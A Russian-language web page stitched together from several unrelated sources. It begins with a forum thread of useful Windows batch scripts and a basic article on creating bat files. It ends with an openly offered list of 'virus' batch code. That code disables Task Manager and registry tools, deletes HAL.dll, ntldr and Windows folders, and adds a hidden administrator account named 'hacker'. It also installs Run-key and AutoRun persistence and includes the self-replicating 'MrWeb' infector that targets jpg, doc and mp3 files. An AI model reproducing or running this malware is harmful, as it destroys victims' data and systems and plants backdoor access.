18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
|
1 |
|
15.10.2012, 00:56. Показов 586747. Ответов 179 Метки acl, antihidden, cabinet archive, cacls, drive serial number, folder permissions, not responding, regsvr32, sfc /scannow, takeown, полезные bat/cmd скрипты (Все метки)
В этой теме выкладываем скрипты, которые часто используются Вами Также приветствуются скрипты высокой степени сложности, полезные с точки зрения Правила темы:
Схожая тема: BAT/CMD файлы ******************* Перечень полезных скриптов: ******************* Архивация и резервное копирование Безопасность Дата, время Интерфейс Компиляция Операционная система Сеть Процессы Текстовые операции, кодировка (файловые операции) ссылка Файловые операции, разделы Другое
21 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||
15.10.2012, 00:57 [ТС] |
2 |
|||||
Взаимное копирование содержимого 2 папок друг в друга Критерий копирования при совпадении имен файлов: последняя дата модификации. Использование: Примечание: скрипт использует Robocopy.exe из пакета Windows Resource Kit (является родной для Windows 7) Развернуть код …
Вложения
3 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||||||||
15.10.2012, 02:41 [ТС] |
3 |
|||||||||||
Удаление последствий вируса (поддельные «фейковые» папки на флешке) Использование: Показания к применению: Функционал v.1.5.: Папка содержит в свою очередь 3 неудаляемые штатными способами подпапки, создаваемые разными алгоритмами. Тонкости: Основные изменения в update 1.5. (от 16.11.2012) Обсуждение скрипта ведется здесь (и последняя версия скрипта тоже): AntiHidden — Удаление последствий вируса (поддельные «фейковые» папки на флешке) FAQ Как удалить созданную программой папку Autorun.inf Программа работает слишком долго: Зачем удалять программы в корне папки %appdata% ? Листинг исходного кода v.1.5.1. ua:
В коде версии 1.5. использованы спецсимволы BackSpace, поэтому при прямом копировании кода Ваш батник работать не будет, как задумано.
Add. Перевод на русский v.1.4.: Листинг (с переводом).
Вложения
8 |
18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
|
15.10.2012, 02:44 [ТС] |
4 |
Стать владельцем папки/файла, получить полные права (пункт контекстного меню) Скрипт представляет из себе ключик реестра. Использование: Предназначение: Показания к применению: Ключик Nizaury Reg-Key Листинг: Код Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\*\shell\runas] @="Стать владельцем и задать полный доступ к объекту" "NoWorkingDirectory"="" [HKEY_CLASSES_ROOT\*\shell\runas\command] @="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant администраторы:F" "IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant администраторы:F" [HKEY_CLASSES_ROOT\Directory\shell\runas] @="Стать владельцем и задать полный доступ к объекту" "NoWorkingDirectory"="" [HKEY_CLASSES_ROOT\Directory\shell\runas\command] @="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant администраторы:F /t" "IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant администраторы:F /t" Автор: Nizaury Смежный скрипт: Смена владельца и прав на папку и ее содержимое, в которой запущен батник
13 |
Anonymоus 612 / 92 / 14 Регистрация: 15.08.2012 Сообщений: 62 |
||||||||||||
15.10.2012, 05:16 |
5 |
|||||||||||
Подсчёт маски подсети на основании двух крайних значений диапазона. Синтаксис — netmask.cmd <начало диапазона> <конец диапазона> Развернуть код …
UPD. 26.04.13 Использование: Примеры:
Развернуть код …
.
2 |
612 / 92 / 14 Регистрация: 15.08.2012 Сообщений: 62 |
|
15.10.2012, 05:16 |
6 |
Пакетное получение информации о IP-адресах и построение HTML-отчёта. Использование — поместить IP-адреса (по одному на строку) в файл iplist.txt, запустить masswhois.bat и дождаться завершения работы. Результат будет представлен в виде result.html В отчёте представлены: сам IP, его маска и диапазон, страна, имя подсети и адрес. Использованные внешние утилиты — grep, uniqline, whosip, netmask.cmd
2 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||
21.10.2012, 03:05 [ТС] |
7 |
|||||
Вывод текста без переноса на новую строку Принцип подсмотрел у alexii на сером форуме. Код содержит невидимые символы BackSpace (0x08). Будет полезен для создания процентного прогрессбара Рабочий вариант качайте с файла. Код — замените (0х20) на (0x08)
Вложения
1 |
18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
|
27.10.2012, 02:37 [ТС] |
8 |
Циклическое копирование файлов по каталогам с ожиданием завершения их дозаписи в исходную папку. Массовая рассылка файлов
0 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||||||||||||||||||||||||||
02.11.2012, 18:00 [ТС] |
9 |
|||||||||||||||||||||||||||||
Перекодировка текста Смотрите обновленную тему: Перекодировка текста (сборник кодов для различных кодовых страниц) Из любой кодировки в любую (через утилиту win_iconv) Скачать утилиту. Синтаксис: Bash iconv [-c] [-s] [-f encoding] [-t encoding] [inputfile …] Перечень кодировок: Bash iconv -l
Пример использования: Bash win_iconv -f UTF-16LE -t cp866 "UTFtext.txt" > "DOStext.txt" Подробности в теме о ключах. Win <-> OEM (неконсольный — на языке VBA) Автор: Dragokas Написан на VBA (Excel). Скачать. Для работы необходимо включить макросы: Описание функций:
OEM-866 -> WIN-1251 (на CMD)
OEM-866 -> WIN-1251 (через утилиту на ASM) Скачать to1251.zip. Самый быстрый перекодировщик. Написан на ассемблере =) Автор: Charles Kludge Использование только через конвейер: Bash ipconfig /all | to1251.exe > result.txt Bash to1251.exe < file1.txt > result.txt Исходник. Код ASM:
Win-1251 -> в Unicode (UTF-16LE) (на CMD) С возможностью указать исходную кодовую страницу: Использование: Bash Batch.cmd infile outfile src_codepage где: Batch.cmd — сам Batch-файл 2 варианта кода: 1) Исходник кода сохранить в кодировке WIN-1251:
2) исходник кода сохранить в кодировке OEM-866:
Как настроить кодировку исходного кода Batch-файла, какой выбрать редактор: Русский текст в консоли UTF-8 -> Win-1251 (cmd) От Smitis
UTF-16 -> OEM-866 (cmd)
UTF-16 -> Win-1251 (cmd)
Вложения
4 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||
12.11.2012, 07:27 [ТС] |
10 |
|||
Завершение процесса (оформлено в виде меню). Развернуть код
Миниатюры
4 |
18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
|
12.11.2012, 07:57 [ТС] |
11 |
Крутящаяся палка (имитация). По типу — песочные часы в Windows =))
4 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||
12.11.2012, 09:10 [ТС] |
12 |
|||||
Создание CAB-архивов Автор: Alex Averchenkoff Развернуть код
Вложения
3 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||||||||||
18.11.2012, 06:05 [ТС] |
13 |
|||||||||||||
Смена владельца и прав на папку и ее содержимое, в которой запущен батник (Full Access <-> Read Only) Обновлено 20.11.2012. Добавлена совместимость с XP и Server 2003. 1) RO.cmd (ReadOnly) — делает все файлы и папки доступными только для чтения и выполнения. 2) FA.cmd (FullAccess) — восстанавливает полный доступ для всех пользователей. Для нормальной работы в ОС Windows Vista, Win 7 батник нужно запускать правой кнопкой мыши «От имени Администратора». Как пользоваться: Для корректной работы, вероятно, понадобится утилита из Microsoft Support Tools — ICACLS (включена в ОС Windows Server 2003, начиная с SP2). Поддержка: Исходный код Сохранять в кодировке OEM-866. FA.cmd
RO.cmd
В коде использован метод двойного запуска скрипта исключительно для упрощения Обсуждение скрипта в теме: Смена владельца и прав на папку и ее содержимое Вложения
6 |
18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
|
26.11.2012, 13:41 [ТС] |
14 |
Пищалка (подобие beep) Блокнотом Windows не редактировать! Из командной строки звук можно симмитировать нажатием Ctrl+G, {ENTER}.
5 |
khaarax 6 / 2 / 0 Регистрация: 09.12.2012 Сообщений: 5 |
||||
09.12.2012, 23:00 |
15 |
|||
Вызов GUI диалогового окна выбора папки Развернуть код
Копирайты не помню чьи. Миниатюры
2 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||||||
30.12.2012, 04:46 [ТС] |
16 |
|||||||||
Многопроцессное создание пустых файлов (бенчмарк для винчестера) P.S. Ниже «процессы» названы «потоками» (простите за эту глупую опечатку). Настраиваемые параметры: Развернуть код
В поданном коде создается 50*10000 = 0,5 млн. файлов, так что попытавшись открыть такую папку даже файловым менеджером все напрочь зависнет. Результаты тестов на моем SSD Индикация процесса удаления папки Развернуть код…
Вложения
5 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||||||||
03.01.2013, 02:43 [ТС] |
17 |
|||||||||||
Помощник компиляции исходных кодов и проектов .NET (.cs / .sln (C#, VB.NET)) через консольный NET.FrameWork компилятор (csc или msbuild) UPD. 02.03.2017 — добавил скрипт для msbuild. Зачем нужен: Требования: Использование: Функционал: Внутри скрипта есть некоторые комментарии по детальным настройкам. Кликните здесь для просмотра всего текста
P.S. Скрипт для msbuild — упрощённый (лог-файл не ведётся). Кликните здесь для просмотра всего текста
Вложения
5 |
18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
|
06.01.2013, 02:03 [ТС] |
18 |
Отслеживание зависшего процесса и его перезапуск с указанным приоритетом Все параметры настраиваемы (см. начало кода и спойлер). Комментарии писал на английском, уж как есть. Принцип работы: (а вдруг процесс подвис на секунду — не «убивать» же его из-за этого!!!)
Если все проверки позитивны, ищем полный путь к процессу по номеру его Process ID (используется инструментарий WMIC). Настройки:
Можно задавать такие паузы (в мс.): Запуск в минимизированном виде: Приоритеты запускаемого процесса: Имена нескольких процессов задаются через запятую без кавычек, даже если в их имени есть пробел. Upd.3. Скрипт обсуждается здесь Отслеживание зависания (состояния «не отвечает») программы и её перезапуск
7 |
Eva Rosalene Модератор 4957 / 2011 / 387 Регистрация: 06.01.2013 Сообщений: 4,707 |
||||
08.01.2013, 21:45 |
19 |
|||
Помощь по всем командам вашей версии Windows / DOS Развврнуть код…
После запуска появятся два текстовых файла.
5 |
Dragokas 18068 / 7671 / 891 Регистрация: 25.12.2011 Сообщений: 11,444 Записей в блоге: 17 |
||||||||
15.01.2013, 02:20 [ТС] |
20 |
|||||||
Прогресс-бар копирования файлов Взято из этой темы. Версия 1.5
Юзаем, например, так:
2 |
На чтение 4 мин Опубликовано Обновлено
Бат-файлы (или файлы с расширением .bat) являются текстовыми файлами, содержащими набор команд, которые выполняются операционной системой Windows. Они широко используются для автоматизации задач и запуска нескольких команд одновременно. В этой статье мы рассмотрим несколько готовых bat файлов, которые могут быть полезными при работе с Windows 10.
1. Файл для очистки временных файлов:
Этот bat файл поможет вам очистить временные файлы на вашем компьютере. Он удаляет временные файлы, кэш, файлы cookie и другие ненужные данные. Просто запустите файл и он выполнит все необходимые команды.
2. Файл для запуска нескольких программ одновременно:
Если вы каждый день запускаете несколько программ, этот bat файл будет для вас идеальным решением. Он позволяет запускать несколько программ одновременно с помощью одной команды. Просто добавьте названия программ в bat файл, и он автоматически запустит их все.
3. Файл для создания резервных копий файлов:
С помощью этого bat файла вы можете создать резервные копии своих файлов и папок. Он копирует указанные файлы и папки в новую директорию, что позволяет вам сохранить свои данные в безопасности. Просто указываете необходимые файлы и папки в bat файле, и он сделает остальное.
Приведенные выше bat файлы являются только некоторыми примерами готовых скриптов и команд для Windows 10. Вы можете использовать их как есть, а также изменять и дополнять в соответствии с вашими потребностями. Бат-файлы могут значительно упростить вашу работу с операционной системой Windows и помочь автоматизировать повседневные задачи.
Лучшие готовые bat файлы для Windows 10:
- bat файл для очистки временных файлов и папок: Этот bat файл содержит команды для удаления временных файлов, таких как файлы в папке Temp, файлы в корзине, файлы журналов системы и др. С помощью этого скрипта можно освободить дополнительное место на диске и повысить производительность компьютера.
- bat файл для установки и обновления программ: Этот bat файл содержит команды для автоматической установки или обновления программ. В скрипте можно указать список программ, ссылки на их установочные файлы и другие необходимые параметры. Этот скрипт может быть полезен при переустановке операционной системы или установке программ на несколько компьютеров.
- bat файл для создания резервной копии файлов: Этот bat файл содержит команды для создания резервной копии выбранных файлов и папок. В скрипте можно указать список файлов и папок, которые нужно скопировать, а также целевую директорию, где будет создана резервная копия. Этот скрипт может быть полезен для регулярного создания резервной копии личных данных.
- bat файл для автоматического запуска программ: Этот bat файл содержит команды для автоматического запуска нескольких программ или команд. В скрипте можно указать путь к программе и ее параметры. Этот скрипт может быть полезен для автоматического запуска программ при каждом запуске компьютера или в определенное время.
Использование готовых bat файлов для Windows 10 позволяет сократить время на выполнение рутинных задач, упростить процесс установки программ или создания резервной копии файлов. Кроме того, bat файлы могут быть настроены и изменены в соответствии с индивидуальными потребностями пользователя.
Полезные скрипты и команды
В этом разделе представлены некоторые полезные скрипты и команды, которые можно использовать в пакетных файлах (.bat) для Windows 10:
- echo: Команда echo используется для вывода текста на экран. Она может быть полезной для отображения сообщений пользователю или вывода результатов операций.
- cd: Команда cd позволяет изменить текущую рабочую директорию. Она может использоваться для перемещения между папками или выполнения команд в конкретной директории.
- dir: Команда dir позволяет просмотреть содержимое текущей директории. Она может быть полезной для проверки наличия файлов или папок.
- copy: Команда copy используется для копирования файлов или папок. Она позволяет создать резервные копии или переместить файлы в другие директории.
- del: Команда del используется для удаления файлов. Она может быть полезной для очистки временных файлов или удаления ненужной информации.
- start: Команда start позволяет запустить приложение или открыть файл. Она полезна для автоматического запуска программ или открытия документов.
- taskkill: Команда taskkill используется для завершения процессов. Она может быть полезной для выхода из приложений или остановки неотзывчивых программ.
- timeout: Команда timeout позволяет задать задержку в выполнении команд. Она может быть полезной для ожидания завершения других операций или паузы между командами.
Это только небольшой перечень команд и скриптов, которые можно использовать в пакетных файлах для Windows 10. С помощью них вы можете автоматизировать рутинные задачи, упростить свою работу и повысить эффективность работы с операционной системой.
Подключение сетевого диска
disk.bat
net use Y: /del /yes net use Y: \\192.168.0.1\share /USER:user1 pAsSw0rd
Закрыть все сеансы подключенных пользователей
kick.bat
net SESSION /DELETE /YES
Ограничение числа входящих подключений в Windows XP
Например при открытии общего доступа к принтеру в сети, если его будут использовать больше 10 человек — могут начаться проблемы.
Как один из вариантов — в планировщике заданий выполнять этот скрипт с правами Администратора каждые 10 мин.
Архивация RAR
rar-full.bat
set LOGFILE="F:\backup\backup.log" set BACKUPFILE="F:\backup\Documents-full.%DATE:~-4%%DATE:~3,2%%DATE:~0,2%.rar" set BACKUPDIR="E:\Documents" "c:\Program Files\WinRAR\Rar.exe" a -ep2 -m4 -ow -rr100 -inul -ilog%LOGFILE% %BACKUPFILE% %BACKUPDIR%
Выключить компьютер по сети
shutdown.bat
shutdown -s -f -t 60 -m \\comp01
Удаление хлама из документов
delete.bat
set LOGFILE=F:\backup\delete.log echo START %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1 del E:\Documents\*.mp3 /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.m3u /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.wav /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.wma /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.wmv /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.flv /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.mpg /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.mp4 /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.avi /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.vob /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.mov /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.exe /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.msi /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.dll /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\*.dat /s /f /a >> %LOGFILE% 2>>&1 del E:\Documents\Thumbs.db /s /f /a >> %LOGFILE% 2>>&1 echo END %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1 echo "" 2>>&1
Listen to this article
Нередко советы по тем или иным действиям и исправлениям в Windows 10, 8 и Windows 7 включают в себя шаги наподобие: «создайте файл .bat со следующим содержимым и запустите его». Однако, начинающий пользователь не всегда знает, как это сделать и что собой представляет такой файл. Первый и самый простой способ создать bat файл — использовать стандартную программу «Блокнот», присутствующую во всех актуальных версиях Windows.
Шаги по созданию будут следующими
- Запустите Блокнот (находится в Программы — Стандартные, в Windows 10 быстрее запустить через поиск в панели задач, если блокнота нет в меню «Пуск», запустить его можно из C:\Windows\notepad.exe).
- Введите в блокнот код вашего bat файла (например, скопируйте откуда-то, либо напишите свой, о некоторых командах — далее в инструкции).
- В меню блокнота выберите «Файл» — «Сохранить как», выберите место сохранение файла, укажите имя файла с расширением .bat и, обязательно, в поле «Тип файла» установите «Все файлы».
- Нажмите кнопку «Сохранить».
Примечание: если файл не сохраняется в указанное расположение, например, на диск C, с сообщение «У вас нет разрешения на сохранение файлов в этом месте», сохраните его в папку «Документы» или на рабочий стол, а затем скопируйте в нужное расположение (причина проблемы в том, что в Windows 10 для записи в некоторые папки нужны права администратора, а поскольку блокнот не был запущен от имени администратора, он не может сохранить файл в указанную папку).
Ваш файл .bat готов: если его запустить, будут автоматически выполнены все перечисленные в файле команды (при условии отсутствия ошибок и необходимости прав администратора: в некоторых случаях может потребоваться запускать файл bat от имени администратора: правый клик по файлу .bat — запустить от имени администратора в контекстном меню).
Примечание: в дальнейшем, если вы захотите отредактировать созданный файл, просто нажмите по нему правой кнопкой мыши и выберите «Изменить».
Код:
[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
Выключается компьютер
Код:
[USER=98981]@Echo[/USER] off
shutdown -s -t 1 -c "lol" >nul
Перезагрузка компьютера
Код:
[USER=98981]@Echo[/USER] off
shutdown -r -t 1 -c "lol" >nul
Запрещает запускать программы
Код:
[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
Удаление дров
Код:
[USER=98981]@Echo[/USER] off
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
Удаляет звуки Windows
Код:
[USER=98981]@Echo[/USER] off
del "%SystemRoot%\Media" /q >nul
Запрещает заходить в панель управления
Код:
[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul
Запрещает комбинацию Ctrl-Alt-Delete
Код:
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
Меняет местами значение кнопок мыши
Код:
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Удаляет курсор мыши
Код:
del "%SystemRoot%Cursors*.*" >nul
Меняет название корзины
Код:
reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F
Убирает панель управления
Код:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Серьезные вирусы:
Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)
Код:
rd [Буква_Диск]: /s /q
Удаляет все файлы в program files
Код:
del c:Program Files/q
Убивает процесс explorer.exe
Код:
taskkill /f /im explorer.exe >nul
Создает миллион папок
Код:
FOR /L %%i IN (1,1,1000000) DO md %%i
Удаляет все драйвера, которые установлены на компьютере
Код:
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul
Удаляет команду DEL
Будет открывать бесконечно Paint
Код:
:x
Start mspaint
goto x
Изменяет расширение всех ярлыков на .txt (ломает многие ярлыки)
Заражает Autoexec
Код:
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul
Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)
Код:
[USER=98981]@Echo[/USER] off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y
сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
Код:
rundll32 user,disableoemlayer
Меняет местами кнопки мыши, но обратная смена не возможна)
Код:
rundll32 user,SwapMouseButton
Удаляет ядро системы
Код:
del %systemroot%\system32\HAL.dll
Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)
Код:
[USER=98981]@Echo[/USER] off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Вирус заражает *.JPG в текущем каталоге
Код:
[USER=98981]@Echo[/USER] off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben
Жестокие вирусы:
У вашего ламера будет глючить компьютер.
Код:
[USER=98981]@Echo[/USER] off
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f
Вирус который убивает Винду. Не проверяйте на своем компьютере=)
Код:
[USER=98981]@Echo[/USER] This virus created by LIZA
[USER=98981]@Echo[/USER] Virus: pcforumhack.ru Virus
[USER=98981]@Echo[/USER] Autor: LIZA
[USER=98981]@Echo[/USER] off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll.bat
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile "C:\ntldr",1 >> %temp%\temp.vbs
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
echo fso.deletefolder "D:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "I:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "C:\Windows",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefile sr+"\system32\hal.dll",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\dllcache",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\drives",1 >> %temp%\temp.vbs
echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","forum.whack.ru">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","forum.whack.ru">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","forum.whack.ru">>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile ("A:\")>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True">>%temp%\temp2.vbs
echo loop>>%temp%\temp2.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
